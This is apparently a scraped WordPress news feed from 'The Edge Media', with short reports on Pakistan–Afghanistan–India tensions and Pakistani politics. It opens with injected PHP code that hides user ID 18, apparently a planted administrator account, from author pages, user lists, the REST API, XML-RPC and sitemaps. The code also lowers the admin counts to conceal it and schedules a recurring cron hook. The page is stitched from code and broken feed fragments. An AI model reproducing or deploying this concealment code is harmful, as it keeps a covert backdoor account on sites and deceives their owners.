add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Pakistan has failed to learn from its past mistakes.” - Khwaja Asif appeared first on The Edge Media.
]]>The Minister stated that re-engaging with the United States after 2001 was a significant error that resulted in long-term damage to Pakistan. He argued that the support for the US in the Afghanistan conflict was driven by a desire for political legitimacy and superpower backing rather than religious or national necessity, and the country has been suffering the consequences for decades.
Asif also pointed inward, stating that Pakistan has failed to learn from its past mistakes. He noted that following the withdrawal of Soviet forces from Afghanistan, the nation did not adjust its course, leading it to “rent itself out” for another two decades after the September 11 attacks. He attributed the rise of terrorism and extremism to the decisions made by past military dictators, specifically mentioning Zia-ul-Haq and Pervez Musharraf, whom he accused of pushing the country into foreign wars that damaged the economy and society.
Furthermore, the Defense Minister highlighted that none of the perpetrators of the 9/11 attacks were Afghan, yet Pakistan became embroiled in the ensuing war, a decision he believes severely compromised national security and foreign policy.
The post “Pakistan has failed to learn from its past mistakes.” - Khwaja Asif appeared first on The Edge Media.
]]>The post Pakistan Arrests Fisherman Accused of Spying for India appeared first on The Edge Media.
]]>
Arrest and Alleged Recruitment by Indian Agencies
According to Tarar, Mallah was detained by the Indian Coast Guard in September while fishing in open waters. During his custody, he was allegedly offered money to spy for India and warned of imprisonment if he refused. The minister said Mallah was later released and sent back to Pakistan with specific instructions to acquire items related to the Pakistan Navy, Army, and Sindh Rangers.
Tracking and Arrest by Pakistani Intelligence
Tarar stated that Pakistan’s intelligence agencies began monitoring Mallah when he attempted to gather the listed materials. He was eventually intercepted at sea while trying to transport the items back to India. Tarar claimed this was part of a broader operation orchestrated by Indian intelligence to conduct propaganda against Pakistan.
Evidence and Confession
During the press conference, the minister presented images of the confiscated materials and showed a video in which Mallah confessed to being detained by Indian authorities while fishing.
Rising Tensions Between India and Pakistan
The incident has emerged amid heightened tensions between the two nations. Relations worsened following India’s launch of *Operation Sindoor* on May 7, aimed at striking terrorist networks in Pakistan and Pakistan-administered Kashmir. The military action was reportedly in response to the April 22 Pahalgam attack that resulted in the deaths of 26 civilians.
The post Pakistan Arrests Fisherman Accused of Spying for India appeared first on The Edge Media.
]]>The post Pakistan Army Chief Warns Afghanistan: “Choose Peace or Chaos” Amid Cross‑Border Terror Strikes appeared first on The Edge Media.
]]>The statement comes shortly after Pakistan carried out new air strikes targeting militant hideouts in Afghanistan late Friday, just hours after Islamabad and Kabul extended a two‑day ceasefire that had temporarily eased hostilities between the neighbours.
Addressing a passing‑out ceremony for cadets at the Pakistan Military Academy (PMA) in Kakul, Khyber Pakhtunkhwa, Munir said the Afghan regime should act decisively to stop militants operating from its soil. “All proxies using Afghan soil will face our response – we will raise them to dust,” he warned.
The fresh strikes follow a gun‑and‑bomb assault on a Pakistani military installation in North Waziristan, claimed by the Hafiz Gul Bahadur group of Tehrik‑i‑Taliban Pakistan (TTP).
The escalation comes even as representatives from Pakistan and Afghanistan prepare to meet in Doha, where Qatar is facilitating mediation between the two countries. Islamabad has repeatedly demanded that the Taliban‑led Afghan government stop terrorist organisations from using Afghan territory for attacks on Pakistan; Kabul denies these claims and insists it is not permitting such operations.
The deteriorating situation along the shared border stems from repeated militant attacks inside Pakistan—including one in Orakzai district of Khyber Pakhtunkhwa, which killed 11 military personnel including a Lieutenant Colonel and a Major—that Islamabad says originated from Afghan soil.
The post Pakistan Army Chief Warns Afghanistan: “Choose Peace or Chaos” Amid Cross‑Border Terror Strikes appeared first on The Edge Media.
]]>The post Afghan Foreign Minister Muttaqi Warns Pakistan, Reaffirms Commitment to Peace but Signals ‘Other Options’ appeared first on The Edge Media.
]]>Muttaqi confirmed that the Afghan side has agreed to a temporary ceasefire, which was brokered through the mediation of Qatar and Saudi Arabia. However, he delivered a sharp warning: “If Pakistan does not want peace, Afghanistan has other options available.”
The Afghan Foreign Minister held a press conference at the Afghan Embassy in New Delhi today—his second during this visit. The event was notable for addressing a controversy from his previous briefing.
In a significant move following a dispute over the exclusion of women reporters from his earlier press conference, Amir Khan Muttaqi took steps to ensure full inclusion. Today’s press conference saw female journalists seated in the front rows.
The Taliban-led government’s Foreign Minister used the opportunity to address the controversy directly, clarifying that no female journalist had been deliberately barred from the previous briefing. He fielded questions from journalists on various subjects and provided a detailed explanation regarding the matter of press access.
Focusing on the growing friction with Pakistan, Amir Khan Muttaqi stated that while the majority of Pakistan’s population and many politicians desire good relations with Afghanistan, “certain elements are attempting to spoil the atmosphere.”
He underscored the historical difficulty of controlling the border region, referencing the 2,400-kilometer-long, challenging Durand Line. Muttaqi asserted that history proves the futility of military intervention in controlling this boundary: “Neither Genghis Khan, nor the British, nor the Americans were able to control the rugged Durand Line through the use of force.”
Muttaqi’s remarks highlight a precarious diplomatic situation, signaling Afghanistan’s intent to uphold its sovereignty while opening the door for future escalations should mediated peace talks fail.
The post Afghan Foreign Minister Muttaqi Warns Pakistan, Reaffirms Commitment to Peace but Signals ‘Other Options’ appeared first on The Edge Media.
]]>The post Imran Khan No Longer Prime Minister Of Pakistan Due To No-Trust Vote appeared first on The Edge Media.
]]>Imran Khan, who was elected Into power in 2018, was subjected to a no-confidence vote, which was mostly based on allegations of economic failure. Hardly a Pakistani prime minister has ever served for the whole five-year tenure.
The post Imran Khan No Longer Prime Minister Of Pakistan Due To No-Trust Vote appeared first on The Edge Media.
]]>The post Pakistan Prime Minister Loses Majority Post MQM And PPP Deals appeared first on The Edge Media.
]]>Post the governing coalition partner MQM-P opted to break away from the Imran Khan-led administration, Pakistan’s unified opposition currently has 177 members of the national legislature (Members of National Assembly).
Importantly, Pakistan’s combined opposition needed the backing of 172 MNAs to pass a no-confidence resolution against the Prime Minister.
The post Pakistan Prime Minister Loses Majority Post MQM And PPP Deals appeared first on The Edge Media.
]]>The post India ‘Mistakenly’ Fires Missile Into Pakistan, Informs Defense Ministry appeared first on The Edge Media.
]]>Before landing, the missile traveled more than 100 kilometers within Pakistani territory, at a height of 40,000 feet and at three times the speed, as per Pakistani officials. The missile did not explode because it lacked a warhead.
The post India ‘Mistakenly’ Fires Missile Into Pakistan, Informs Defense Ministry appeared first on The Edge Media.
]]>The post Pakistan’s Peshawar Mosque Bombing Kills 56 People appeared first on The Edge Media.
]]>The incident began when two armed assailants began firing on police near a mosque in Peshawar’s old city, according to Peshawar Police Chief Muhammed Ejaz Khan. During the firefight, one assailant and one police officer were shot, while another police officer was injured. The final assailant dashed into the mosque and exploded a bomb.
The post Pakistan’s Peshawar Mosque Bombing Kills 56 People appeared first on The Edge Media.
]]>The post Pakistan and China are unlikely to attend the Ajit Doval-hosted Afghanistan meeting next week appeared first on The Edge Media.
]]>
Yusuf turned rejected an offer from India last month, according to multiple diplomatic sources, citing the fact that his country will not attend any summit where the Taliban is not represented. The NSA-level meetings, which were supposed to take place between 10 and 13 November, are now likely to take place without Pakistan and China, according to the sources. Russia, Iran, Uzbekistan, and Tajikistan have also been invited to the meeting.
The post Pakistan and China are unlikely to attend the Ajit Doval-hosted Afghanistan meeting next week appeared first on The Edge Media.
]]>The post Amarinder Singh Jabs Navjot Sidhu: “Am Old Enough To Be His Father…” appeared first on The Edge Media.
]]>
Mr. Sidhu, with whom Amarinder Singh had a long and public rivalry that eventually led to his departure as chief minister in September, was lambasted by Amarinder Singh for “using the filthiest and most vile language against me”.
The post Amarinder Singh Jabs Navjot Sidhu: “Am Old Enough To Be His Father…” appeared first on The Edge Media.
]]>